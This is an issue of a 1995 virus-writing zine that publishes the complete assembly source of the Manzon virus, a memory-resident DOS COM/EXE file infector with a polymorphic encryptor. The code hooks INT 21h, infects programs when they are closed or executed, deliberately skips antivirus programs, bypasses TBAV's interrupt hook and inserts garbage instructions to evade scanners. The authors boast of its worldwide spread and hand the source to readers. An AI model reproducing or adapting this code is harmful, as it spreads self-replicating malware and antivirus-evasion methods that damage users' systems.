Insane Reality issue #7 - (c)opyright 1995 Immortal Riot               File 012 


% MANZON (c) 1995 Red-A/Immortal Riot %

---------------------------------------

First comes the now very common and well-spread Manzon virus which 
has been reported to us very frequently from all continents around 
the world.



It's a resident COM/EXE infector with polymorphic encryption which 
infects upon file-closes and execute's. It lack all stealth functions 
known to man, but since now has managed a worldwide tour of over 7 month, 
and still is going strong, we're quite happy with it anyways! 


A semi-cool program I made which generates different Manzon encrypted 
viruses follow the source code. Enjoy!



 - The Unforgiven



        .model tiny

        .code

        .386



code_size equ code_end-code_start

filecodelength equ filecodeend-code_start

        org 100h



code_start:

start:

        call    StartDecryptSimple



SimpleCryptStart:



        call    InstallVirus            ; Call Install routine 


;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ 
;+    Following code randomly creates an encryptor and a matching   :+ 
;+    decryptor.                                                    :+ 
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ 


WriteVirus:

        push    bx                      ; Save filehandle

        in      ax,40h                  ; Get random



;+:+:+:+:+:+:+Create random values to use in instructions+:+:+:+:+:+:+: 


        mov     si,offset Rand1a        ; First random in decryptor OP-codes 
        mov     di,offset Rand1b        ; First random in encryptor OP-codes 
        mov     cx,5                    ; 7*2 OP-codes to change 
SetRandom:

        mov     [si],al

        mov     [di],al

        add     si,4                            ; Next OP-code 
        add     di,4                            ; -----"----- 
        xor     ax,      'P'-'O'-'O'-'R'        ; Generate... 
        rol     ax,5                            ; ..new... 
        xor     ax,'R'-'E'-'B'-'O'-'U'-'N'-'D'  ; random

        loop    SetRandom



;+:+:+:+:+:+: Copy instructions from ENCode and DECode :+:+:+:+:+:+:+: 


CreateCode:

        push    cs

        pop     es

        mov     cx,13                           ;Counter, max 13 sequences 
        mov     di,offset CCode1

        mov     si,offset DECode

        mov     word ptr ds:[CLength],0h        ;Length of decryptor 
CreateLoop:

        mov     si,offset DECode

        in      ax,40h                          ; Get random 
        ror     ax,cl

        xor     ax,'I'-'M'-'M'-'O'-'R'-'T'-'A'-'L'

        sub     ax,        'R'-'I'-'O'-'T'

        push    ax                              ;Save for later use 
        mov     bl,al

        and     bl,15                           ;Mask only 0-15 
        shl     bl,2                            ;mul 4 to get right offset 
        xor     bh,bh

        add     si,bx                           ;Get right OP-code 
        movsd                                   ;move one inst (4 bytes) 


        std                                     ;count backwards 
        push    cx

        push    di                              ;Move code in CCode one inst 
        push    si                              ;forward, so next inst could 
        mov     si,offset CCode2+13*4           ;be first. 
        mov     di,offset CCode2+14*4

        mov     cx,14

        rep     movsd

        pop     si

        mov     di,offset CCode2

        cld



        cmp     bl,29                            ;Should we use alt. encrypt? 
        jnb     short Garbage                    ;No, just garbage-instructions 


        add     si,ENCode-DECode-4              ;Get right pos in ENCode 
        movsd                                   ;move one inst (4 bytes) 
        sub     si,ENCode-DECode                ;Back to old pos in DECode 
        jmp     short NoGarbage

Garbage:

        sub     si,4                            ;Same instructions again 
        movsd

NoGarbage:

        pop     di

        pop     cx

        add     word ptr ds:[CLength],4         ;Add length of decryptor 
        pop     ax                              ;Get random value again 
        and     ax,128+64                       ;Leave de/encryptor like this? 
        jz      short QuitLoop

        loop    CreateLoop

QuitLoop:



;+:+:+: Build the first instruction in decryptor (mov cx,??) :+:+:+:+: 


        xor     ax,ax

        in      al,40h                          ; Another random 
        xor     al,'A'

        and     al,7                            ;Random between 0 and 7 
        mov     byte ptr ds:[InitCX1],0b9h      ;OP-Code for mov cx,? 
        mov     bx,filecodelength

        add     bx,ax

        mov     word ptr ds:[InitCX1+1],bx       ;Value to put in CX (counter) 


;+:+:+: Build to second instruction (mov si, offset codestart) :+:+:+:+: 


        mov     byte ptr ds:[InitSI1],0beh      ;OP-Code for mov si,? 
        mov     ax,[entry_p]                    ;EntryPoint 
        add     ax,word ptr ds:[CLength]        ;Length of cryptlines 
        add     ax,15                           ;size of rest of loop 
        add     ax,[IPOffs]                     ;Then add 100h 
NoCom:  mov     word ptr ds:[InitSI1+1],ax      ;Value to put in CX (counter) 


;+:+:+: Build the instruction that increase SI :+:+:+:+:



        and     bl,2                            ; Get random for inc si 
        shl     bl,2                            ; mul 4

        mov     bh,0

        mov     si,offset DEcSI

        add     si,bx                           ; Get pos in ADD-SI-alts. 
        movsd



;+:+:+: Build the loop-instruction :+:+:+:+:



        mov     ah,0ffh

        sub     ah,[CLength]                    ; Calculate loop operand 
        sub     ah,5

        mov     al,0e2h                         ; OP-code for loop 
        mov     [di],ax                         ; Write loop command 


;+:+:+: Write RET at end of encryptionroutine :+:+:+:+:



        mov     di,offset CCode2                ; Encryptionroutine 
        add     di,word ptr ds:[Clength]        ; Find end of ER 
        mov     byte ptr ds:[di],0c3h           ; Write a RET 


;+:+:+: Write created loader to file :+:+:+:+:



        pop     bx                              ; Get filehandle 
        mov     ah,40h                          ; Function WRITE 
        mov     cx,word ptr ds:[CLength]

        add     cx,12

        mov     dx,offset InitCX1

        int     21h                             ; Write decryptor to file 
        mov     word ptr ds:[File_H],bx



;+:+:+:+: Cahnge decryptor so code could use it (put ret instead of inc) 


        mov     di,offset CCode1                ; Encryptionroutine 
        add     di,word ptr ds:[Clength]        ; Find end of ER 
        mov     byte ptr ds:[di],0c3h           ; Write a RET 


;+:+:+:+: Copy enc&dec-call-routine to end of virus :+:+:+:+: 


        mov     si,offset ED_start              ; Start of ED-routine 
        mov     di,offset ED_buf                ; buffer beyond virus 
        mov     cx,ED_End-ED_start              ; Size of ED-routine 
        rep     movsb

        call    filecodeend                     ; Call copy 


        ret



;------ Routine to Encrypt virus, write virus, and decrypt virus 


;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ 
;+    Following code will be copied to memory beyond the virus,     :+ 
;+    and then called. The routine then calls the created           :+ 
;+    encryptor, writing the encrypted virus the the file and       :+ 
;+    then uses the modified decrytor to decrypt the virus again.   :+ 
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ 


ED_start:



;+:+:+: Create RandomValue for simple enc/decryptor +:+:+:+ 


        in      al,40h

        mov     byte ptr cs:[DSRan],al



;+:+:+: Encrypt virus, using simple encryptor :+:+:+:+



        mov     ax,offset EncryptDecryptSimple

        call    ax



;+:+:+: Encrypt virus, using created encryptor :+:+:+:+



        mov     si,0100h                        ; Start of viruscode 
        mov     cx,filecodelength

encloop:

        mov     ax,offset CCode2                ; offset to created enc-routine 
        call    ax                              ; call it

        inc     si

        loop    encloop                         ; Encrypt whole virus 


;+:+:+: Write encrypted virus to file :+:+:+:+



        mov     bx,word ptr ds:[File_H]         ; Get filehandle 
        mov     ah,40h                          ; Function WRITE 
        mov     cx,filecodelength

        mov     dx,0100h

        pushf

        push    cs                              ; Fake interrupt call 
        call    DoOldInt



;+:+:+: Decrypt virus, using created encryptor :+:+:+:+



        mov     si,0100h                        ; Start of viruscode 
        mov     cx,filecodelength

decloop:

        mov     ax,offset CCode1

        call    ax                              ; Call builded encryptroutine 
        inc     si

        loop    decloop



;+:+:+: Decrypt virus, using simple decryptor :+:+:+:+



        mov     ax,offset EncryptDecryptSimple

        call    ax



;+:+:+: Write random number of extra bytes to file (0-15) :+:+:+:+ 


        mov     bx,word ptr ds:[File_H]         ; Get filehandle 
        in      ax,40h                          ; Get random in al 
        mov     ds,ax                           ; Read from random segment 
        and     ax,0fh                          ; mask bit 0-3 
        mov     cx,ax                           ; No. bytes to write 
        mov     ah,40h

        add     word ptr cs:[CLength],cx        ; add length (must know this 
        xor     dx,dx                           ; when creating EXE-header). 
        pushf

        push    cs                              ; Fake interrupt call 
        call    DoOldInt



        push    cs                              ; Push back codeseg in DS 
        pop     ds



        ret



DoOldInt:

        sti

        db      0eah

OldInt  dd      0



ED_End:



;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ 
;+    Following table contains 16 different 4-byte codesqeunces,    :+ 
;+    randomly used by the decryptionroutine. The first 8 affects   :+ 
;+    the decryption algoritm, and has a matching 4-byte inst-      :+ 
;+    ruction in the ENCode-table. The rest is just garbage-        :+ 
;+    instructions, used to make scanning harder. The morpher       :+ 
;+    will pick a random number (1-16) of these instructions,       :+ 
;+    and build the decryption routine.                             :+ 
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ 


DECode  db      02eh,080h,004h          ; add byte ptr cs:[si],? 
Rand1a  db      ?

        db      02eh,080h,02ch          ; sub byte ptr cs:[si],? 
Rand2a  db      ?

        db      02eh,080h,034h          ; xor byte ptr cs:[si],? 
Rand3a  db      ?

        db      02eh,0C0h,004h          ; rol byte ptr cs:[si],? 
Rand4a  db      ?

        db      02eh,0C0h,00Ch          ; ror byte ptr cs:[si],? 
Rand5a  db      ?

        db      02eh,0feh,00ch,090h     ; dec byte ptr cs:[si]; nop 
        db      02eh,0feh,004h,090h     ; inc byte ptr cs:[si]; nop 
        db      02eh,0f6h,01ch,090h     ; neg byte ptr cs:[si]; nop 
;-------The rest is just bullshit, used to confuse scanners 
        db      053h,08bh,0dch,05bh     ; push bx; mov bx,sp; pop bx 
        db      093h,043h,090h,043h     ; xchg bx,ax; inc bx; nop; inc bx 
        db      040h,08ah,0c4h,048h     ; inc ax; mov al,ah; dec ax 
        db      08ch,0c8h,056h,05fh     ; mov ax,cs; push si; pop di; 
        db      074h,000h,075h,000h     ; je $+2; jne $+2; 
        db      08Bh,0c3h,02bh,0d8h     ; mov ax,bx; sub ax,bx 
        db      003h,0feh,02ch,002h     ; add di,si; sub al,2 
        db      0ebh,001h,0b4h,090h     ; jmp $+3; mov ah,90h (b4h + nop) 


;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ 
;+    Following table contains the encryptionversions of the        :+ 
;+    first 8 instructions in the DECode-table.                     :+ 
;+    SUB will be ADD, ROR will be ROL etc.                         :+ 
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ 


ENCode  db      02eh,080h,02ch          ; sub byte ptr cs:[si],? 
Rand1b  db      ?

        db      02eh,080h,004h          ; add byte ptr cs:[si],? 
Rand2b  db      ?

        db      02eh,080h,034h          ; xor byte ptr cs:[si],? 
Rand3b  db      ?

        db      02eh,0C0h,00Ch          ; ror byte ptr cs:[si],? 
Rand4b  db      ?

        db      02eh,0C0h,004h          ; rol byte ptr cs:[si],? 
Rand5b  db      ?

        db      02eh,0feh,004h,090h     ; inc byte ptr cs:[si]; nop 
        db      02eh,0feh,00ch,090h     ; dec byte ptr cs:[si]; nop 
        db      02eh,0f6h,01ch,090h     ; neg byte ptr cs:[si]; nop 


;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ 
;+    Following table contains four different ways to increase      :+ 
;+    SI. Used only in the DECode-routine (CCode1).                 :+ 
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ 


DEcSI   db      083h,0c6h,001h,090h     ; add si,1; nop

        db      046h,033h,0dbh,0f8h     ; inc si; xor bx,bx; clc 
        db      04eh,046h,046h,0f9h     ; dec si; inc si; sinc si; stc 
        db      083h,0c6h,002h,04eh     ; add si,2; dec si 


;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ 
;+                         Other data                               :+ 
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ 


CLength db      ?                       ; Length of decryptor 
        db      ?

ComExe  db      0                       ; 0=Com, 1=Exe

buffer  db      0c3h                    ; Buffer contains original 3 bytes of 
orgep   dw      0                       ; COM-file. 03ch (RET) will exit program 
                                        ; in normal DOS. Used only first time. 
buffer2 db      0e9h                    ; JMP OP-code, used to build COM-jump 
entry_p dw      0                       ; Entrypoint, part of JMP-instruction 


Real_CS dw      0

Real_IP dw      0

Real_SS dw      0

Real_SP dw      0



IPOffs  dw      100h                    ; Start offset (100h for comfiles) 


;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ 
;+    INT 21h Entrypoint. Check if virus is calling, and if file    :+ 
;+    should be infected.                                           :+ 
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ 


NewVect:

        cmp     ax,0DCBAh                       ; Is virus calling? 
        jne     Notvirus

        mov     dx,ax

        iret

Notvirus:

        cli                                     ; Clear Interrupts 
        cld                                     ; Clear Direction 
        cmp     ah,3eh                          ; Is file going to be closed? 
        je      Short FileClose



        cmp     ax,4b00h                        ; Is file going to be executed? 
        je      Short FileExecute

        jmp     DoOldInt



;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ 
;+    Following code is called when a file is going to be executed. :+ 
;+    The file will be opened, and then closed. When the file is    :+ 
;+    closed, the virus will call itself by INT21/3Eh, and the file :+ 
;+    will be infected. Pretty smart, eh? :)                        :+ 
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ 


FileExecute:

        pusha



        mov     ax,3d00h                        ; Open file for ReadOnly 
        int     21h

        mov     bx,ax                           ; Filehandle in bx 
        mov     ah,3eh

        int     21h                             ; Close file (infect file :)) 


        popa

        jmp     DoOldInt



;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ 
;+    Following code is called when a file is going to be closed.   :+ 
;+    The code uses INT2F/1220h to get the adress of JFT-entry,     :+ 
;+    and then INT2F/1216h to get adress of SFT.                    :+ 
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ 


FileClose:

        cmp     bx,5            ; Is it a standard device? 
        jb      DoOldInt



        push    ds

        push    es

        pusha



        push    bx

        mov     ax,1220h        ; Table in es:di

        int     2fh

        mov     ax,1216h

        mov     bl,byte ptr es:[di]

        int     2fh

        pop     bx



;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ 
;+    This is a very poor way to check the 2 first characters in a  :+ 
;+    filename, but the asciicode will look nice =)                 :+ 
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ 


        mov     ax,word ptr es:[di+20h]

        xchg    al,ah

        add     ax,0302h



        cmp     ax,'F-'  +  0302h       ; Don't infect F-PROT 
        je      short Skip_Infect

        cmp     ax,'SC'  +  0302h       ; Don't infect SCAN 
        je      short Skip_Infect

        cmp     ax,'TB'  +  0302h       ; Don't infect TB*.* (TBAV) 
        je      short Skip_Infect

        cmp     ax,'TO'  +  0302h       ; Don't infect TOOLKIT 
        je      short Skip_Infect

        cmp     ax,'FV'  +  0302h       ; Don't infect FV386 
        je      short Skip_Infect

        cmp     ax,'FI'  +  0302h       ; Don't infect FINDVIRU 
        je      short Skip_Infect

        cmp     ax,'VI'  +  0302h       ; Don't infect VI*.* 
        je      short Skip_Infect

        cmp     ax,'K-'  +  0302h       ; Don't infect R.L's stuff :) 
        je      short Skip_Infect



Check_Com:

        cmp     word ptr es:[di+28h],'OC'

        jne     short Check_Exe

        cmp     byte ptr es:[di+2ah],'M'

        jne     short Check_Exe

        or      byte ptr es:[di+2],2          ; Set R&W Access 
        call    Infect_Com



Check_Exe:

        cmp     word ptr es:[di+28h],'XE'

        jne     short Skip_Infect

        cmp     byte ptr es:[di+2ah],'E'

        jne     short Skip_Infect

        or      byte ptr es:[di+2],2          ; Set R&W Access 
        call    Infect_Exe



Skip_Infect:

        popa

        pop     es

        pop     ds

        jmp     DoOldInt



;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ 
;+    Infect COM-file                                               :+ 
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ 


Infect_Com:

        push    cs

        pop     ds



        mov     ax,4202h                        ; Go to EOF 
        xor     cx,cx

        cwd

        int     21h                             ; Get filelength in AX 
        push    ax



        mov     ax,4200h                        ; Go to SOF 
        xor     cx,cx

        cwd

        int     21h



        mov     ah,3fh                          ; Read the 3 first bytes 
        mov     cx,3

        mov     dx,offset buffer

        int     21h



        pop     ax                              ; Get Filelength 
        sub     ax,[orgep]                      ; Virus entrypoint, if file 
        cmp     ax,filecodelength+100h          ; is infected 
        jnb     short LooksOk

        cmp     ax,filecodelength-10h

        jb      short LooksOk

        jmp     short DontInfect



LooksOk:

        mov     ax,4202h                        ; Go to EOF 
        xor     cx,cx

        cwd

        int     21h



        cmp     ax,62000                        ; Is file small enough? 
        jnb     short DontInfect



        sub     ax,3                            ; Make the first 3 bytes 
        mov     word ptr ds:[buffer2+1],ax      ; (jmp to eof (viruscode)) 


        mov     [IPOffs],100h                   ; Tell that offset is 100h 


        push    bx

        call    WriteVirus

        pop     bx



        mov     ax,4200h                        ; Move to SOF 
        xor     cx,cx

        cwd

        int     21h



        mov     ah,40h                          ; Write first 3 bytes 
        mov     cx,3

        mov     dx,offset buffer2

        int     21h



DontInfect:

        ret



;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ 
;+    Infect EXE-file                                               :+ 
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ 


Infect_Exe:

        push    cs

        pop     ds



        mov     [File_H],bx



        mov     ax,4200h                        ; Go to SOF 
        xor     cx,cx

        cwd

        int     21h



        mov     ah,3fh

        mov     cx,19h                          ; Size of EXE-header 
        mov     dx,offset EXE_Header

        int     21h



        cmp     word ptr ds:[EXE_Sig],'MZ'      ; Be sure it's a real EXE. 
        je      short ItIsAnExe

        cmp     word ptr ds:[EXE_Sig],'ZM'

        je      short ItIsAnExe

        jmp     short DontInfect

ItIsAnExe:

        cmp     byte ptr ds:[EXE_Win],40h       ; Is it a NE-EXE? 
        je      short DontInfect                ; Don't infect. 


        xor     eax,eax

        xor     ebx,ebx

        xor     ecx,ecx



        les     ax,dword ptr ds:[EXE_IP]        ; get CS:IP in ES:AX 
        mov     ds:Real_CS,es

        mov     ds:Real_IP,ax

        push    ax                              ; Save IP

        push    es                              ; Save CS



        les     ax,dword ptr ds:[EXE_SS]        ; get SS:SP in AX:ES 
        mov     ds:Real_SS,ax

        mov     ds:Real_SP,es

        push    es

        pop     bx                              ; SP in BX 


        shl     eax,4                           ; Build real SS:SP in EBX 
        add     eax,ebx



        pop     cx                              ; Get CS in CX 
        pop     bx                              ; Get IP in BX 
        shl     ecx,4                           ; Build real CS:IP in ECX 
        add     ecx,ebx



        sub     eax,ecx                         ; EAX = SS:SP-CS:IP 


        cmp     eax,(filecodelength+400)

        jnb     short NotInfected

        cmp     eax,filecodelength

        jb      short NotInfected

        jmp     SkipInfect



NotInfected:

        xor     eax,eax

        mov     bx,[File_H]



        mov     ax,4202h                        ; Go to EOF 
        xor     cx,cx

        cwd

        int     21h                             ; Get filelength in dx:ax 


        xor     ecx,ecx

        xor     ebx,ebx

        mov     cx, word ptr ds:[EXE_Siz]       ; Get Siz/512 from header 
        mov     bx, word ptr ds:[EXE_Mod]       ; Get Siz mod 512 from header 
        shl     ecx,9                           ; Mul 512

        add     ecx,ebx                         ; Build Real memsize 


        mov     bx,dx

        shl     ebx,16

        add     ebx,eax                         ; Build filesize in EBX 


        cmp     ecx,ebx                         ; Is whole file loaded? 
        jb      SkipInfect                      ; Nope, skip infect 


        xor     ecx,ecx

        push    ax

        pop     cx                              ; Low word in cx 


        mov     ax,dx

        shl     eax,16

        add     eax,ecx                         ; Build filesize in eax 
        mov     edx,eax                         ; Save filesize 


        xor     ebx,ebx

        mov     bx, word ptr ds:[EXE_SHe]

        shl     ebx,4                           ; Build real Headersize 
        sub     eax,ebx                         ; Filesize-Headersize=CS:IP!! 
        push    eax                             ; Save new CS:IP for later use 


        call    FixSegOffs                      ; Fix CS:IP so IP<10h 


        mov     dword ptr ds:[EXE_IP],eax



        mov     [entry_p],ax                    ; Set virus entrypoint 
        mov     [IPOffs],-3                     ; No offset in EXE-files 


        mov     bx,[File_H]

        call    WriteVirus                      ; Write virus to EOF 


        xor     eax,eax

        xor     ebx,ebx

        mov     ax,word ptr ds:[EXE_Mod]        ; Bytes on last page 
        mov     bx,word ptr ds:[EXE_Siz]        ; Size/512 
        shl     ebx,9                           ; Mul 512

        add     eax,ebx                         ; Make progsize 
        add     eax,filecodelength              ; Add code_size 
        xor     ebx,ebx

        mov     bx,word ptr ds:[CLength]

        add     eax,ebx                         ; Add decryptsize 
        add     eax,12                          ; add InitCX,Loop etc 
        mov     ebx,eax

        shr     ebx,9                           ; Make new progsize/512 
        and     ax,01ffh                        ; Make modulo 


        mov     word ptr ds:[EXE_Siz],bx

        mov     word ptr ds:[EXE_Mod],ax



        add     word ptr ds:[EXE_Min],(code_size+100)/16

        mov     word ptr ds:[EXE_Max],-1



        pop     eax                             ; Get CS:IP 
        xor     ebx,ebx

        mov     bx,word ptr ds:[CLength]        ; Length of decryptor 
        add     eax,ebx

        add     eax,12                          ; Add INIT_CX, INIT_SI etc 
        add     eax,VirStk-Code_Start           ; Add pos of Stack 


        inc     eax                             ; Add one byte and... 
        and     al,0feh                         ; ...make sure it's even 


        call    FixSegOffs                      ; Fix so SP<10h 


        mov     word ptr ds:[EXE_SP],ax        ; Save new SS:SP 
        shr     eax,16

        mov     word ptr ds:[EXE_SS],ax        ; Save new SS:SP 


        mov     bx,[File_H]



        mov     ax,4200h                        ; Go to SOF 
        xor     cx,cx

        cwd

        int     21h



        mov     ah,40h

        mov     cx,18h                          ; Size of EXE-header 
        mov     dx,offset EXE_Header

        int     21h                             ; Write new header 


SkipInfect:

        ret



FixSegOffs:

        mov     ebx,eax

        xor     ax,ax

        shl     eax,12

        mov     ax,bx

FixSegOffsLoop:

        mov     bx,ax

        cmp     bx,10h

        jb      short DoneFix

        add     eax,00010000h - 00000010h       ; 1 para up.. 
        jmp     short FixSegOffsLoop

DoneFix:

        ret



id      db      'MANZON (c) '



        db      'R' + 1

        db      'e' + 2

        db      'd' + 3

        db      '-' + 4

        db      'A' + 5

        db      '/' + 6

        db      'I' + 7

        db      'R' + 8



;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+: 
;+      Following code will check if virus is resident,              +: 
;+      allocate memory, copy virus to memory, set the new           +: 
;+      interrupt vector and transfer control to the program         +: 
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+: 


InstallVirus:

        pop     si                      ; Get Start of virus+3 
        push    si                      ; Save it again for later use. 
        push    ds                      ; push PSP for later use 
        push    cs

        pop     ds



;+:+:+:+:+:+:+:+:+:+:  Ceck if virus is active  :+:+:+:+:+:+:+:+:+:+:+: 


        mov     ax,0DCBAh

        int     21h

        cmp     dx,ax

        je      short Installed         ; Virus found in memory 


;+:+:+:+:+:+:+:+:+:+: Allocate memory for virus :+:+:+:+:+:+:+:+:+:+:+: 


        mov     ah,4ah                  ; Get top of memory 
        push    ax

        mov     bx,-1

        int     21h



        sub     bx,(code_size)/16+2     ; Resize memory allocation 
        pop     ax

        int     21h



        mov     ah,48h                  ; Allocate memory for Virus 
        mov     bx,(code_size)/16+1

        int     21h

        jc      short Installed         ; If error then exit 


        dec     ax                      ; dec AX to get pointer to MCB 
        mov     es,ax

        mov     word ptr es:[1],8       ; Set DOS as owner of memory 
        sub     ax,0fh                  ; 100 bytes from allocstart 
        mov     es,ax                   ; to get same offset in TSR-code 


;+:+:+:+:+:+:+:+:+:+:+:+:  Copy virus to memory  :+:+:+:+:+:+:+:+:+:+:+: 


        sub     si,6

        mov     di,0100h

        mov     cx,code_size

        rep     movsb                   ; move 'em up



;****** Get adress of old INT21h and save it in the Do21-jump. 


        push    es

        pop     ds

        mov     ax,3521h

        int     21h

tbavfuck:

        cmp     word ptr es:[bx],05ebh

        jne     notbav

        cmp     byte ptr es:[bx+2],0eah

        jne     notbav

        les     bx,es:[bx+3]

        jmp     tbavfuck

notbav:

        mov     word ptr ds:[OldInt+2],es       ; Save address to real INT 
        mov     word ptr ds:[OldInt],bx         ; in the JMP-string 


;****** Set new INT21h



        mov     dx,offset NewVect               ; Set New interruptvector 
        mov     ax,2521h

        int     21h



installed:

        pop     ax                              ; Get PSP

        pop     si

        sub     si,106h

        cmp     word ptr cs:[si+IPoffs],100h    ; Are we in a COM-file 
        je      short RestoreComFile



RestoreExeFile:

        mov     ds,ax                           ; Let ds contain PSP 
        mov     es,ax                           ; Let es contain PSP 
        add     ax,10h                          ; Get start of file 


        add     word ptr cs:[si+Real_CS],ax     ; Add start seg to CS 
        add     ax,word ptr cs:[si+Real_SS]

        mov     ss,ax                           ; Get programs SS 
        mov     sp,word ptr cs:[si+Real_SP]     ; Get programs SP 
        sub     sp,2                            ; Fix right value for SP 


        push    word ptr cs:[si+Real_CS]

        push    word ptr cs:[si+Real_IP]

        xor     ax,ax

        xor     bx,bx

        xor     cx,cx

        xor     dx,dx

        mov     si,ax

        mov     di,ax

        mov     bp,ax

        retf



RestoreComFile:

        mov     ax,cs

        mov     ds,ax

        mov     es,ax



        add     si,offset buffer                ; Restore real 3 first bytes 
        mov     di,0100h

        movsw

        movsb

        xor     ax,ax

        xor     bx,bx

        xor     cx,cx

        xor     dx,dx

        mov     si,ax

        mov     di,ax

        mov     bp,ax

        push    0100h

        ret



SimpleCryptEnd:



StartDecryptSimple:

        call    GetIPLabel

GetIPLabel:

        mov     bp,sp

        mov     si,[bp]

        sub     si,GetIPLabel-SimpleCryptStart

        mov     cx, SimpleCryptEnd-SimpleCryptStart

        Call    DecryptSimple

        pop     ax

        ret



EncryptDecryptSimple:

        mov     si,offset SimpleCryptStart

        mov     cx, SimpleCryptEnd-SimpleCryptStart

        call    DecryptSimple

        ret



DecryptSimple:

        db      02eh,080h,034h          ; xor byte ptr cs:[si],? 
DSRan   db      0

        inc     si

        loop    DecryptSimple

        ret



;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ 
;+      Following code acts like a buffer in memory, and is not     :+ 
;+      included when the virus is written to a file.               :+ 
;+      (Normally known as the heap)                                :+ 
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ 


filecodeend:                            ; Label to calculate code_size, 
                                        ; and to use when jumping to copy 
                                        ; of EWD-routine



ED_buf  db      ED_end-ED_start dup (?) ; space for copy of en EWD-routine 


File_H  dw      ?                       ; Filehandle



; Space for the created decryptionroutine



InitCX1 db      ?,?,?                   ; mov cx,virsize+(0 to 7) 
InitSI1 db      ?,?,?                   ; mov si,offset start 
CCode1  dd      ?,?,?,?,?,?,?,?         ; 1 to 15 decryptrows 
        dd      ?,?,?,?,?,?,?

        dd      ?,?                     ; + loop statement 


; Space for the created encryptionroutine



CCode2  dd      ?,?,?,?,?,?,?,?         ; 1 to 15 decryptrows 
        dd      ?,?,?,?,?,?,?

        dd      ?,?



EXE_Header:                             ; Structure

EXE_Sig dw      ?                       ; MZ or ZM

EXE_Mod dw      ?                       ; size - int(size/512) 
EXE_Siz dw      ?                       ; size/512

EXE_Rel dw      ?                       ; Relocation iems

EXE_SHe dw      ?                       ; Size of header/16 
EXE_Min dw      ?                       ; Min mem/16

EXE_Max dw      ?                       ; Max mem/16

EXE_SS  dw      ?                       ; Stack Segement

EXE_SP  dw      ?                       ; Stack Pointer

EXE_CHK dw      ?                       ; Checksum

EXE_IP  dw      ?                       ; Instruction Pointer 
EXE_CS  dw      ?                       ; Code Segment

EXE_Win db      ?                       ; 40h if Windows EXE 


VirStk: db      32 dup (?)              ; Stack used by the virus (EXE only) 


code_end:

        end     start

;==================================================================
============= 
; To get into com-file, type:

; DEBUG

